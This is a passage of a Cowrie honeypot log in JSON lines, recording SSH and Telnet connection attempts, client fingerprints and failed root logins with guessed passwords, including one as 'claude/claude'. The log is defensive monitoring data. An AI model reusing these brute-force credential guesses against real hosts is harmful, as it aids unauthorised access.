ha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:00.550096Z","src_ip":"43.135.177.217","session":"56c44f0e541a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:00.682493Z","src_ip":"207.56.225.202","session":"57ef30e8ab33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ@WSX#EDC","message":"login attempt [root/!QAZ@WSX#EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:00.856694Z","src_ip":"43.135.177.217","session":"56c44f0e541a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q@W#E4r","message":"login attempt [root/!Q@W#E4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:01.371900Z","src_ip":"207.56.225.202","session":"57ef30e8ab33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:01.928261Z","src_ip":"43.135.177.217","session":"56c44f0e541a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52392,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fcdcd8fac87","protocol":"telnet","message":"New connection: 192.119.13.58:52392 (10.17.0.5:23) [session: 0fcdcd8fac87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:02.495772Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:02.538796Z","src_ip":"207.56.225.202","session":"57ef30e8ab33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.36514353752136,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:07.236822Z","src_ip":"192.119.13.58","session":"8236403eb3f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":37158,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a26d36dfb64","protocol":"ssh","message":"New connection: 37.143.61.84:37158 (159.203.135.109:22) [session: 4a26d36dfb64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:08.157605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:08.162675Z","src_ip":"37.143.61.84","session":"4a26d36dfb64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:08.278771Z","src_ip":"37.143.61.84","session":"4a26d36dfb64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"softnixteam","message":"login attempt [root/softnixteam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:08.809310Z","src_ip":"37.143.61.84","session":"4a26d36dfb64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:09.902980Z","src_ip":"37.143.61.84","session":"4a26d36dfb64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54396,"dst_ip":"10.17.0.5","dst_port":23,"session":"879ccfeb83c3","protocol":"telnet","message":"New connection: 192.119.13.58:54396 (10.17.0.5:23) [session: 879ccfeb83c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:10.183082Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":53934,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7b33598557e","protocol":"ssh","message":"New connection: 109.172.54.111:53934 (10.17.0.5:22) [session: e7b33598557e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:10.200594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:10.205766Z","src_ip":"109.172.54.111","session":"e7b33598557e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:10.310382Z","src_ip":"109.172.54.111","session":"e7b33598557e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":0.20767927169799805,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:10.390636Z","src_ip":"192.119.13.58","session":"879ccfeb83c3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"4444","message":"login attempt [root/4444] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:10.620560Z","src_ip":"109.172.54.111","session":"e7b33598557e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:11.723852Z","src_ip":"109.172.54.111","session":"e7b33598557e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.924880266189575,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:12.321444Z","src_ip":"192.119.13.58","session":"5482ba619df4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.8.251.48","src_port":41768,"dst_ip":"159.203.135.109","dst_port":23,"session":"25bdf61b32d2","protocol":"telnet","message":"New connection: 95.8.251.48:41768 (159.203.135.109:23) [session: 25bdf61b32d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:12.760300Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38804,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e8ecc53126f","protocol":"telnet","message":"New connection: 192.119.13.58:38804 (10.17.0.5:23) [session: 7e8ecc53126f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:13.252956Z"}
{"eventid":"cowrie.session.closed","duration":41.09758758544922,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:15.755380Z","src_ip":"192.119.13.58","session":"011664b7c5b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.802878856658936,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:18.476821Z","src_ip":"192.119.13.58","session":"776fd1039262","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.42756271362305,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:18.523181Z","src_ip":"192.119.13.58","session":"54a9e6c54d6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.243.239.219","src_port":3072,"dst_ip":"10.17.0.5","dst_port":22,"session":"69144f4626a8","protocol":"ssh","message":"New connection: 74.243.239.219:3072 (10.17.0.5:22) [session: 69144f4626a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:19.100872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:19.106218Z","src_ip":"74.243.239.219","session":"69144f4626a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:19.278750Z","src_ip":"74.243.239.219","session":"69144f4626a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36674,"dst_ip":"10.17.0.5","dst_port":23,"session":"37cc023e392b","protocol":"telnet","message":"New connection: 192.119.13.58:36674 (10.17.0.5:23) [session: 37cc023e392b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:19.722890Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"dnflskfk","message":"login attempt [root/dnflskfk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:19.990029Z","src_ip":"74.243.239.219","session":"69144f4626a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:21.160064Z","src_ip":"74.243.239.219","session":"69144f4626a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.225.56.202","src_port":35012,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e830774c838","protocol":"ssh","message":"New connection: 35.225.56.202:35012 (10.17.0.5:22) [session: 6e830774c838]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:22.761468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:22.766559Z","src_ip":"35.225.56.202","session":"6e830774c838","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:22.800662Z","src_ip":"35.225.56.202","session":"6e830774c838","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"agent","message":"login attempt [root/agent] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:22.969096Z","src_ip":"35.225.56.202","session":"6e830774c838","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.51031494140625,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:23.628920Z","src_ip":"192.119.13.58","session":"bae3b1a95e0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:24.006761Z","src_ip":"35.225.56.202","session":"6e830774c838","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59436,"dst_ip":"10.17.0.5","dst_port":23,"session":"24bf6a37ba0d","protocol":"telnet","message":"New connection: 192.119.13.58:59436 (10.17.0.5:23) [session: 24bf6a37ba0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:25.325984Z"}
{"eventid":"cowrie.session.closed","duration":13.213035345077515,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:25.973182Z","src_ip":"95.8.251.48","session":"25bdf61b32d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39852,"dst_ip":"10.17.0.5","dst_port":23,"session":"46a00937aa1e","protocol":"telnet","message":"New connection: 192.119.13.58:39852 (10.17.0.5:23) [session: 46a00937aa1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:27.420971Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40928,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb7bcacd2f9d","protocol":"telnet","message":"New connection: 192.119.13.58:40928 (10.17.0.5:23) [session: eb7bcacd2f9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:27.658050Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.105.130.18","src_port":54330,"dst_ip":"159.203.135.109","dst_port":22,"session":"cfd23568162e","protocol":"ssh","message":"New connection: 77.105.130.18:54330 (159.203.135.109:22) [session: cfd23568162e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:29.079374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:29.084647Z","src_ip":"77.105.130.18","session":"cfd23568162e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:29.184119Z","src_ip":"77.105.130.18","session":"cfd23568162e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:29.617482Z","src_ip":"77.105.130.18","session":"cfd23568162e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.233.48.169","src_port":53238,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3064fd733cc","protocol":"ssh","message":"New connection: 193.233.48.169:53238 (10.17.0.5:22) [session: d3064fd733cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:30.210034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:30.215791Z","src_ip":"193.233.48.169","session":"d3064fd733cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:30.343773Z","src_ip":"193.233.48.169","session":"d3064fd733cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:30.721509Z","src_ip":"77.105.130.18","session":"cfd23568162e","protocol":"ssh"}
